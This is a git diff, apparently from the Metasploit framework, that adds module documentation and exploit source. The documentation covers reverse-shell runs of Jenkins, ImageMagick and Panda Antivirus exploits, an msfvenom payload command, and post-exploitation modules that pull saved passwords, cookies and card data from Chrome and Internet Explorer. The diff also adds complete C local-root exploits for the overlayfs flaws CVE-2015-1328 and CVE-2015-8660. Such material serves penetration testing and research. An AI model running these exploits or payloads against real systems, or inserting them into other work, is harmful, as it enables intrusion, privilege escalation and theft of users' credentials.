+ msf exploit(jenkins_script_console) > set RHOST 192.168.254.126
+ RHOST => 192.168.254.126
+ msf exploit(jenkins_script_console) > set RPORT 8080
+ RPORT => 8080
+ msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp
+ PAYLOAD => windows/meterpreter/reverse_tcp
+ msf exploit(jenkins_script_console) > set LHOST 192.168.254.132
+ LHOST => 192.168.254.132
+ msf exploit(jenkins_script_console) > exploit
+
+ [*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444
+ [*] [2016.10.29-18:43:07] Checking access to the script console
+ [*] [2016.10.29-18:43:07] Logging in...
+ [*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style)
+ [*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager...
+ [*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes)
+ [*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes)
+ [*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes)
+ [*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes)
+ [*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes)
+ [*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes)
+ [*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes)
+ [*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes)
+ [*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes)
+ [*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes)
+ [*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes)
+ [*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes)
+ [*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes)
+ [*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes)
+ [*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes)
+ [*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes)
+ [*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes)
+ [*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes)
+ [*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes)
+ [*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes)
+ [*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes)
+ [*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes)
+ [*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes)
+ [*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes)
+ [*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes)
+ [*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes)
+ [*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes)
+ [*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes)
+ [*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes)
+ [*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes)
+ [*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes)
+ [*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes)
+ [*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes)
+ [*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes)
+ [*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes)
+ [*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes)
+ [*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes)
+ [*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes)
+ [*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes)
+ [*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes)
+ [*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes)
+ [*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes)
+ [*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes)
+ [*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes)
+ [*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes)
+ [*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes)
+ [*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes)
+ [*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes)
+ [*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126
+ [*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes)
+ [*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400
+
+ meterpreter > sysinfo
+ Computer : PWNME-PC
+ OS : Windows 7 (Build 7601, Service Pack 1).
+ Architecture : x64 (Current Process is WOW64)
+ System Language : en_US
+ Domain : WORKGROUP
+ Logged On Users : 2
+ Meterpreter : x86/win32
+ meterpreter >
+
+ ```
diff --git a/documentation/modules/exploit/unix/fileformat/imagemagick_delegate.md b/documentation/modules/exploit/unix/fileformat/imagemagick_delegate.md
new file mode 100644
index 0000000000..534503e203
--- /dev/null
+++ b/documentation/modules/exploit/unix/fileformat/imagemagick_delegate.md
@@ -0,0 +1,54 @@
+## Vulnerable Application
+
+ ImageMagick
+
+## Verification Steps
+
+ Example steps in this format:
+
+ 1. Install the ImageMagick
+ 2. Start msfconsole
+ 3. Do: ```use exploits/unix/fileformat/imagemagick_delegate```
+ 4. Do: ```run```
+ 5. convert msf.png msf.jpg
+
+## Options
+
+ **USE_POPEN**
+
+ When the default option `true` is used, targets 0 (SVG file) and 1 (MVG file) are valid
+ When the option is set to `false`, target 2 (PS file) is valid
+
+## Scenarios
+
+## popen=true
+ ```
+ msf exploit(imagemagick_delegate) > set target 0
+ msf exploit(imagemagick_delegate) > run
+
+ [*] Started reverse TCP handler on 1.1.1.1:4444
+ [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
+ [*] Command shell session 1 opened (1.1.1.11:4444 -> 1.1.1.1:57212) at 2016-10-28 12:47:06 -0500
+ ```
+
+ ```
+ msf exploit(imagemagick_delegate) > set target 1
+ msf exploit(imagemagick_delegate) > run
+
+ [*] Started reverse TCP handler on 10.6.0.186:4444
+ [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
+ [*] Command shell session 2 opened (1.1.1.1:4444 -> 1.1.1.1:64308) at 2016-10-28 15:48:40 -0500
+ ```
+
+## popen=false
+ ```
+ msf exploit(imagemagick_delegate) > set target 2
+ target => 2
+ msf exploit(imagemagick_delegate) > set USE_POPEN false
+ USE_POPEN => false
+ msf exploit(imagemagick_delegate) > run
+
+ [*] Started reverse TCP handler on 1.1.1.1:4444
+ [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
+ [*] Command shell session 5 opened (1.1.1.1:4444 -> 1.1.1.1:64772) at 2016-10-28 15:58:03 -0500
+ ```
diff --git a/documentation/modules/exploit/windows/local/panda_psevents.md b/documentation/modules/exploit/windows/local/panda_psevents.md
new file mode 100644
index 0000000000..b5f9615566
--- /dev/null
+++ b/documentation/modules/exploit/windows/local/panda_psevents.md
@@ -0,0 +1,154 @@
+## Vulnerable Application
+
+ Panda Antivirus Pro 2016 16.1.2 is available from [filehippo](http://filehippo.com/download_panda_antivirus_pro_2017/download/b436969174c5ca07a27a0aedf6456c89/) or from an unofficial [git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/Panda_AV_Pro2016_16.1.2.exe).
+
+ The AV must be running for PSEvents.exe to run and the module to get called, which can take up to an hour. I 32bit meterpreter seems to get caught, so you may need an AV exclusion for the folder to ensure it didn't catch meterpreter in action.
+
+ The downloads folder can take a 10-15 minutes to appear after install, and its downloaded by Panda AV from the company.
+
+ 1. Theres an HTTP GET request to 23.215.132.154 for /retail/psprofiler/40032/psprofiler_suite.exe
+ 2. Then right after HTTP GET request to 23.215.132.154 for /retail/psevents_suite.exe.
+
+## Verification Steps
+
+ Example steps in this format:
+
+ 1. Install the application
+ 2. Wait for `C:\\ProgramData\\Panda Security\\Panda Devices Agent\\Downloads` folder to appear
+ 3. Start msfconsole
+ 4. Get a shell
+ 5. Do: `use exploit/windows/local/panda_psevents`
+ 6. Do: `set session #`
+ 7. Do: `exploit`
+ 8. Go do something else while you wait
+ 9. Enjoy being system with your shell
+
+## Options
+
+ **DLL**
+
+ Which DLL to name our payload. The original vulnerability writeup utilized bcryptPrimitives.dll, and mentioned several others that could be used. However the dll seems to be VERY picky. Default is cryptnet.dll. See the chart for more details.
+
+| | WINHTTP.dll | VERSION.dll | bcryptPrimitives.dll | CRYPTBASE.dll | cryptnet.dll | WININET.dll |
+|---------------------------------------------------------------|-------------|-------------|----------------------|---------------|--------------|-------------|
+| 64bit target (1), win10 x64 | CRASH | CRASH | NO | NO | valid | no |
+| 64bit target (1), win8.1 x86 | CRASH | CRASH | NO | valid | valid | no |
+| 32bit target (0), win10 x64 | CRASH | CRASH | NO | NO | valid | no |
+| 32bit target (0), win8.1 x86 | CRASH | CRASH | NO | valid | valid (caught by av) | no |
+| 32bit target (0), win7sp1 x86 | | | valid | | valid (caught by av) | |
+
+In this chart, `CRASH` means PSEvents.exe crashed on the system. `NO` means PSEvents didn't crash, but no session was obtained. `valid` means we got a shell.
+
+ **ListenerTimeout**
+
+ How long to wait for a shell. PSEvents.exe runs every hour or so, so the default is 3610 (10sec to account for code execution or other things)
+
+## Scenarios
+
+### Windows 8.1 x86 with Panda Antirivus Pro 2016 16.1.2
+
+ Step 1, get a local shell. I used msfvenom to drop an exe for easy user level meterpreter.
+
+ msfvenom -a x86 --platform windows -p windows/meterpreter_reverse_tcp -f exe -o meterpreter.exe -e x86/shikata_ga_nai -i 1 LHOST=192.168.2.117 LPORT=4449
+
+ msf > use exploit/multi/handler
+ msf exploit(handler) > set payload windows/meterpreter_reverse_tcp
+ payload => windows/meterpreter_reverse_tcp
+ msf exploit(handler) > set lhost 192.168.2.117
+ lhost => 192.168.2.117
+ msf exploit(handler) > set lport 4449
+ lport => 4449
+ msf exploit(handler) > exploit
+
+ [*] Started reverse TCP handler on 192.168.2.117:4449
+ [*] Starting the payload handler...
+ [*] Meterpreter session 1 opened (192.168.2.117:4449 -> 192.168.2.91:63617) at 2016-09-25 20:32:15 -0400
+
+ meterpreter > getuid
+ Server username: IE11Win8_1\IEUser
+ meterpreter > background
+ [*] Backgrounding session 1...
+
+ Step 2, drop our panda exploit
+
+ use exploit/windows/local/panda_psevents
+ msf exploit(panda_psevents) > set session 1
+ session => 1
+ msf exploit(panda_psevents) > set payload windows/meterpreter/reverse_tcp
+ payload => windows/meterpreter/reverse_tcp
+ msf exploit(panda_psevents) > set exitfunc seh
+ exitfunc => seh
+ msf exploit(panda_psevents) > set DLL CRYPTBASE.dll
+ DLL => CRYPTBASE.dll
+ msf exploit(panda_psevents) > show options
+
+ Module options (exploit/windows/local/panda_psevents):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ DLL CRYPTBASE.dll yes dll to create (Accepted: cryptnet.dll, bcryptPrimitives.dll, CRYPTBASE.dll)
+ ListenerTimeout 3610 yes Number of seconds to wait for the exploit
+ SESSION 1 yes The session to run this module on.
+
+
+ Payload options (windows/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ EXITFUNC seh yes Exit technique (Accepted: '', seh, thread, process, none)
+ LHOST 192.168.2.117 yes The listen address
+ LPORT 4450 yes The listen port
+
+
+ Exploit target:
+
+ Id Name
+ -- ----
+ 0 Windows x86
+
+
+
+ msf exploit(panda_psevents) > exploit
+
+ [*] Started reverse TCP handler on 192.168.2.117:4450
+ [*] Uploading the Payload DLL to the filesystem...
+ [*] Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...
+ [*] Start Time: 2016-09-27 18:10:21 -0400
+ [*] Sending stage (957999 bytes) to 192.168.2.91
+ [*] Meterpreter session 2 opened (192.168.2.117:4450 -> 192.168.2.91:50022) at 2016-09-27 18:46:15 -0400
+ [+] Deleted C:\ProgramData\Panda Security\Panda Devices Agent\Downloads\1a2d7253f106c617b45f675e9be08171\CRYPTBASE.dll
+
+ meterpreter > getuid
+ Server username: NT AUTHORITY\SYSTEM
+ meterpreter > sysinfo
+ Computer : IE11WIN8_1
+ OS : Windows 8.1 (Build 9600).
+ Architecture : x86
+ System Language : en_US
+ Domain : WORKGROUP
+ Logged On Users : 2
+ Meterpreter : x86/win32
+ meterpreter > background
+
+## Failed Exploitation Attempts
+
+If the dll doesn't work, PSEvents.exe will fail to run. While silent to the user, an error will occur in the Application Windows Logs.
+
+ * Event ID: 1000
+ * Task Category (100)
+ * Log Name: Application
+ * Source: Application Error
+ * Details:
+```
+Faulting application name: PSEvents.exe, version: 4.0.0.35, time stamp: 0x57061ba6
+Faulting module name: ntdll.dll, version: 6.3.9600.17415, time stamp: 0x54504b06
+Exception code: 0xc0000374
+Fault offset: 0x000d0cf2
+Faulting process id: 0xdd0
+Faulting application start time: 0x01d218a30fbf1ac5
+Faulting application path: C:\ProgramData\Panda Security\Panda Devices Agent\Downloads\1a2d7253f106c617b45f675e9be08171\PSEvents.exe
+Faulting module path: C:\Windows\SYSTEM32\ntdll.dll
+Report Id: 4de7a07e-8496-11e6-9735-000c29e0cffb
+Faulting package full name:
+Faulting package-relative application ID:
+```
\ No newline at end of file
diff --git a/documentation/modules/post/windows/gather/enum_chrome.md b/documentation/modules/post/windows/gather/enum_chrome.md
new file mode 100644
index 0000000000..81966026b9
--- /dev/null
+++ b/documentation/modules/post/windows/gather/enum_chrome.md
@@ -0,0 +1,89 @@
+## Vulnerable Application
+
+ This post-exploitation module will extract saved user data from Google Chrome and attempt to decrypt sensitive information.
+ Chrome encrypts sensitive data (passwords and credit card information) which can only be decrypted with the **same** logon credentials. This module tries to decrypt the sensitive data as the current user unless told otherwise via the MIGRATE setting.
+
+## Verification Steps
+
+ 1. Start `msfconsole`
+ 2. Get meterpreter session
+ 3. Do: `use post/windows/gather/enum_chrome`
+ 4. Do: `set SESSION `
+ 5. Do: `run`
+ 6. You should be able to see the extracted chrome browser data in the loot files in JSON format
+
+## Options
+
+ - **MIGRATE** - Migrate automatically to explorer.exe. This is useful if you're having SYSTEM privileges, because the process on the target system running meterpreter needs to be owned by the user the data belongs to. If activated the migration is done using the metasploit `post/windows/manage/migrate` module. The default value is false.
+
+ - **SESSION** - The session to run the module on.
+
+## Extracted data
+
+ - Web data:
+ - General autofill data
+ - Chrome users
+ - Credit card data
+ - Cookies
+ - History
+ - URL history
+ - Download history
+ - Search term history
+ - Login data (username/password)
+ - Bookmarks
+ - Preferences
+
+## Scenarios
+
+ **Meterpreter session as normal user**
+
+ ```
+ [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.104:51129) at 2016-10-13 20:45:50 +0200
+
+ msf exploit(handler) > use post/windows/gather/enum_chrome
+ msf post(enum_chrome) > set SESSION 1
+ SESSION => 1
+ msf post(enum_chrome) > run
+
+ [*] Impersonating token: 3156
+ [*] Running as user 'user-PC\user'...
+ [*] Extracting data for user 'user'...
+ [*] Downloaded Web Data to '/home/user/.msf4/loot/20161013205236_default_192.168.1.18_chrome.raw.WebD_032796.txt'
+ [*] Downloaded Cookies to '/home/user/.msf4/loot/20161013205238_default_192.168.1.18_chrome.raw.Cooki_749912.txt'
+ [*] Downloaded History to '/home/user/.msf4/loot/20161013205244_default_192.168.1.18_chrome.raw.Histo_307144.txt'
+ [*] Downloaded Login Data to '/home/user/.msf4/loot/20161013205309_default_192.168.1.18_chrome.raw.Login_519738.txt'
+ [*] Downloaded Bookmarks to '/home/user/.msf4/loot/20161013205310_default_192.168.1.18_chrome.raw.Bookm_593102.txt'
+ [*] Downloaded Preferences to '/home/user/.msf4/loot/20161013205311_default_192.168.1.18_chrome.raw.Prefe_742084.txt'
+ [*] Decrypted data saved in: /home/user/.msf4/loot/20161013205909_default_192.168.1.18_chrome.decrypted_173440.txt
+ [*] Post module execution completed
+ ```
+
+ **Meterpreter session as system**
+
+ In this case, you should set the MIGRATE setting to true. The module will try to migrate to explorer.exe to decrypt the encrypted data. After the decryption is done, the script will migrate back into the original process.
+
+ ```
+ [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.104:51129) at 2016-10-13 20:45:50 +0200
+
+ msf exploit(handler) > use post/windows/gather/enum_chrome
+ msf post(enum_chrome) > set SESSION 1
+ SESSION => 1
+ msf post(enum_chrome) > set MIGRATE true
+ MIGRATE => true
+ msf post(enum_chrome) > run
+
+ [*] current PID is 1100. migrating into explorer.exe, PID=2916...
+ [*] done.
+ [*] Running as user 'user-PC\user'...
+ [*] Extracting data for user 'user'...
+ [*] Downloaded Web Data to '/home/user/.msf4/loot/20161013205236_default_192.168.1.18_chrome.raw.WebD_032796.txt'
+ [*] Downloaded Cookies to '/home/user/.msf4/loot/20161013205238_default_192.168.1.18_chrome.raw.Cooki_749912.txt'
+ [*] Downloaded History to '/home/user/.msf4/loot/20161013205244_default_192.168.1.18_chrome.raw.Histo_307144.txt'
+ [*] Downloaded Login Data to '/home/user/.msf4/loot/20161013205309_default_192.168.1.18_chrome.raw.Login_519738.txt'
+ [*] Downloaded Bookmarks to '/home/user/.msf4/loot/20161013205310_default_192.168.1.18_chrome.raw.Bookm_593102.txt'
+ [*] Downloaded Preferences to '/home/user/.msf4/loot/20161013205311_default_192.168.1.18_chrome.raw.Prefe_742084.txt'
+ [*] Decrypted data saved in: /home/user/.msf4/loot/20161013205909_default_192.168.1.18_chrome.decrypted_173440.txt
+ [*] migrating back into PID=1100...
+ [*] done.
+ [*] Post module execution completed
+ ```
diff --git a/documentation/modules/post/windows/gather/enum_ie.md b/documentation/modules/post/windows/gather/enum_ie.md
new file mode 100644
index 0000000000..16d0aa1af2
--- /dev/null
+++ b/documentation/modules/post/windows/gather/enum_ie.md
@@ -0,0 +1,106 @@
+## Vulnerable Application
+
+ This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well.
+
+## Verification Steps
+
+ 1. Start `msfconsole`
+ 2. Get meterpreter session
+ 3. Do: `use post/windows/gather/enum_ie`
+ 4. Do: `set SESSION `
+ 5. Do: `run`
+ 6. You should be able to see the extracted IE browser data in the loot files
+
+## Options
+
+ - **SESSION** - The session to run the module on.
+
+## Extracted data
+
+ - History
+ - Cookies
+ - Autocomplete data
+ - Credentials **(only for >= IE7)**
+ - HTTP auth credentials
+ - Saved form credentials
+
+## Example Scenario
+
+ **Using the module with an earlier version than IE7 (IE6)**
+
+ In this scenario the module won't be able to extract credential data.
+
+ ```
+ msf exploit(handler) > use post/windows/gather/enum_ie
+ msf post(enum_ie) > set SESSION 1
+ SESSION => 1
+ msf post(enum_ie) > run
+
+ [*] IE Version: 6.0.2900.5512
+ [-] This module will only extract credentials for >= IE7
+ [*] Retrieving history.....
+ File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat
+ [*] Retrieving cookies.....
+ File: C:\Documents and Settings\user\Cookies\index.dat
+ [*] Looping through history to find autocomplete data....
+ [-] No autocomplete entries found in registry
+ [*] Looking in the Credential Store for HTTP Authentication Creds...
+ [*] Writing history to loot...
+ [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt
+ [*] Writing cookies to loot...
+ [*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt
+ [*] Post module execution completed
+ ```
+
+ **Using the module with IE7+ (IE8)**
+
+ In this scenario the module will try to extract credential data, display it in the console and save it in a loot file.
+
+ ```
+ msf exploit(handler) > use post/windows/gather/enum_ie
+ msf post(enum_ie) > set SESSION 1
+ SESSION => 1
+ msf post(enum_ie) > run
+
+ [*] IE Version: 8.0.7601.17514
+ [*] Retrieving history.....
+ File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
+ File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat
+ [*] Retrieving cookies.....
+ File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
+ File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat
+ [*] Looping through history to find autocomplete data....
+ [*] Looking in the Credential Store for HTTP Authentication Creds...
+ [*] Writing history to loot...
+ [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt
+ [*] Writing cookies to loot...
+ [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt
+ [*] Writing gathered credentials to loot...
+ [*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt
+
+ Credential data
+ ===============
+
+ Type Url User Pass
+ ---- --- ---- ----
+ Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
+ Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
+
+ [*] Post module execution completed
+ ```
+
+ The extracted history data would in both scenarios for example look like this:
+
+ ```
+ History data
+ ============
+
+ Date Modified Date Accessed Url
+ ------------- ------------- ---
+ 2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home
+ 2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407
+ 2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt
+ 2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
+ 2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt
+ 2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt
+ ```
diff --git a/external/source/exploits/CVE-2015-1328/1328.c b/external/source/exploits/CVE-2015-1328/1328.c
new file mode 100644
index 0000000000..965900ee17
--- /dev/null
+++ b/external/source/exploits/CVE-2015-1328/1328.c
@@ -0,0 +1,113 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
+
+static char child_stack[1024*1024];
+
+static int
+child_exec(void *stuff)
+{
+ char *file;
+ system("rm -rf /tmp/ns_sploit");
+ mkdir("/tmp/ns_sploit", 0777);
+ mkdir("/tmp/ns_sploit/work", 0777);
+ mkdir("/tmp/ns_sploit/upper",0777);
+ mkdir("/tmp/ns_sploit/o",0777);
+
+ fprintf(stderr,"mount #1\n");
+ if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
+// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
+ if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
+ fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
+ exit(-1);
+ }
+ file = ".access";
+ chmod("/tmp/ns_sploit/work/work",0777);
+ } else file = "ns_last_pid";
+
+ chdir("/tmp/ns_sploit/o");
+ rename(file,"ld.so.preload");
+
+ chdir("/");
+ umount("/tmp/ns_sploit/o");
+ fprintf(stderr,"mount #2\n");
+ if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
+ if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
+ exit(-1);
+ }
+ chmod("/tmp/ns_sploit/work/work",0777);
+ }
+
+ chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
+ umount("/tmp/ns_sploit/o");
+}
+
+int
+main(int argc, char **argv)
+{
+ int status, fd, lib;
+ pid_t wrapper, init;
+ int clone_flags = CLONE_NEWNS | SIGCHLD;
+
+ fprintf(stderr,"spawning threads\n");
+
+ if((wrapper = fork()) == 0) {
+ if(unshare(CLONE_NEWUSER) != 0)
+ fprintf(stderr, "failed to create new user namespace\n");
+
+ if((init = fork()) == 0) {
+ pid_t pid =
+ clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
+ if(pid < 0) {
+ fprintf(stderr, "failed to create new mount namespace\n");
+ exit(-1);
+ }
+
+ waitpid(pid, &status, 0);
+
+ }
+
+ waitpid(init, &status, 0);
+ return 0;
+ }
+
+ usleep(300000);
+
+ wait(NULL);
+
+ fprintf(stderr,"child threads done\n");
+
+ fd = open("/etc/ld.so.preload",O_WRONLY);
+
+ if(fd == -1) {
+ fprintf(stderr,"exploit failed\n");
+ exit(-1);
+ }
+
+ fprintf(stderr,"/etc/ld.so.preload created\n");
+ /*
+ fprintf(stderr,"creating shared library\n");
+ lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
+ write(lib,LIB,strlen(LIB));
+ close(lib);
+ lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
+ if(lib != 0) {
+ fprintf(stderr,"couldn't create dynamic library\n");
+ exit(-1);
+ }*/
+ write(fd,"/tmp/ofs-lib.so\n",16);
+ close(fd);
+ system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
+ execl("/bin/su","su",NULL);
+}
+
diff --git a/external/source/exploits/CVE-2015-1328/ofs-lib.c b/external/source/exploits/CVE-2015-1328/ofs-lib.c
new file mode 100644
index 0000000000..0f96c54371
--- /dev/null
+++ b/external/source/exploits/CVE-2015-1328/ofs-lib.c
@@ -0,0 +1,16 @@
+#include
+
+uid_t(*_real_getuid) (void);
+char path[128];
+
+uid_t getuid(void){
+ _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
+ readlink("/proc/self/exe", (char *) &path, 128);
+ if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
+ unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
+ setresuid(0, 0, 0);
+ setresgid(0, 0, 0);
+ execle("/bin/sh", "sh", "-i", NULL, NULL);
+ }
+ return _real_getuid();
+}
diff --git a/external/source/exploits/CVE-2015-8660/8660.c b/external/source/exploits/CVE-2015-8660/8660.c
new file mode 100644
index 0000000000..432368a108
--- /dev/null
+++ b/external/source/exploits/CVE-2015-8660/8660.c
@@ -0,0 +1,78 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+static char child_stack[1024*1024];
+
+static int
+child_exec(void *stuff)
+{
+ system("rm -rf /tmp/haxhax");
+ mkdir("/tmp/haxhax", 0777);
+ mkdir("/tmp/haxhax/w", 0777);
+ mkdir("/tmp/haxhax/u",0777);
+ mkdir("/tmp/haxhax/o",0777);
+
+ if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
+ fprintf(stderr,"mount failed..\n");
+ }
+
+ chmod("/tmp/haxhax/w/work",0777);
+ chdir("/tmp/haxhax/o");
+ chmod("bash",04755);
+ chdir("/");
+ umount("/tmp/haxhax/o");
+ return 0;
+}
+
+int
+main(int argc, char **argv)
+{
+ int status;
+ pid_t wrapper, init;
+ int clone_flags = CLONE_NEWNS | SIGCHLD;
+ struct stat s;
+
+ if((wrapper = fork()) == 0) {
+ if(unshare(CLONE_NEWUSER) != 0)
+ fprintf(stderr, "failed to create new user namespace\n");
+
+ if((init = fork()) == 0) {
+ pid_t pid =
+ clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
+ if(pid < 0) {
+ fprintf(stderr, "failed to create new mount namespace\n");
+ exit(-1);
+ }
+
+ waitpid(pid, &status, 0);
+
+ }
+
+ waitpid(init, &status, 0);
+ return 0;
+ }
+
+ usleep(300000);
+
+ wait(NULL);
+
+ stat("/tmp/haxhax/u/bash",&s);
+
+ if(s.st_mode == 0x89ed)
+ execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
+
+ fprintf(stderr,"couldn't create suid :(\n");
+ return -1;
+}
